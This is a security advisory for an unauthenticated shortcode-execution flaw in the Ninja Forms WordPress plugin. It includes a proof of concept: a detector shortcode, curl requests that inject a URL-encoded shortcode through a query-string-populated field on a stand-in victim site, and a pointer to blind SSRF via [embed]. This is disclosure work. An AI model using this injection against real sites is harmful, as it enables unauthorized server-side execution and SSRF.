Ninja Forms < 3.14.10 – Unauthenticated Arbitrary Shortcode Execution via Query-String Populated Field Default | CVE 2026-15256

Description

The plugin does not prevent user-supplied query-string input, used to pre-populate a form field's default value, from being processed as a shortcode, allowing unauthenticated attackers to execute arbitrary shortcodes registered on the site when a form so configured is embedded on a public page.

Proof of Concept

Prerequisites (documented, non-default configuration): a Ninja Form has a field whose Default Value uses the Query String merge tag (e.g. {querystring:promo}, the documented mechanism for pre-populating fields from the URL), and the form is embedded on a published page (e.g. [ninja_form id=2]). At least one shortcode is registered on the site.

A detector shortcode is used below to prove server-side execution (any registered shortcode works, e.g. core [embed] for blind SSRF):
add_shortcode('nfprobe', function(){ return 'NFPROBE_SHORTCODE_EXECUTED'; });

Step 1 - As an unauthenticated visitor (no cookies), request the page hosting the form and inject the shortcode via the populated query-string parameter:
curl 'https://victim.example/repro-page/?promo=%5Bnfprobe%5D'

Step 2 - The rendered Ninja Forms field model in the HTML response contains the RETURN value of the executed shortcode, proving server-side execution:
"key":"probe_field","type":"textbox", ... ,"value":"NFPROBE_SHORTCODE_EXECUTED"

Control (benign input is reflected literally, confirming bracket-triggered execution):
curl 'https://victim.example/repro-page/?promo=hello'
   -> "value":"hello"

The literal string [nfprobe] does not appear in the response, confirming the shortcode was executed rather than echoed. Reproduced identically on 3.14.6 and current 3.14.8.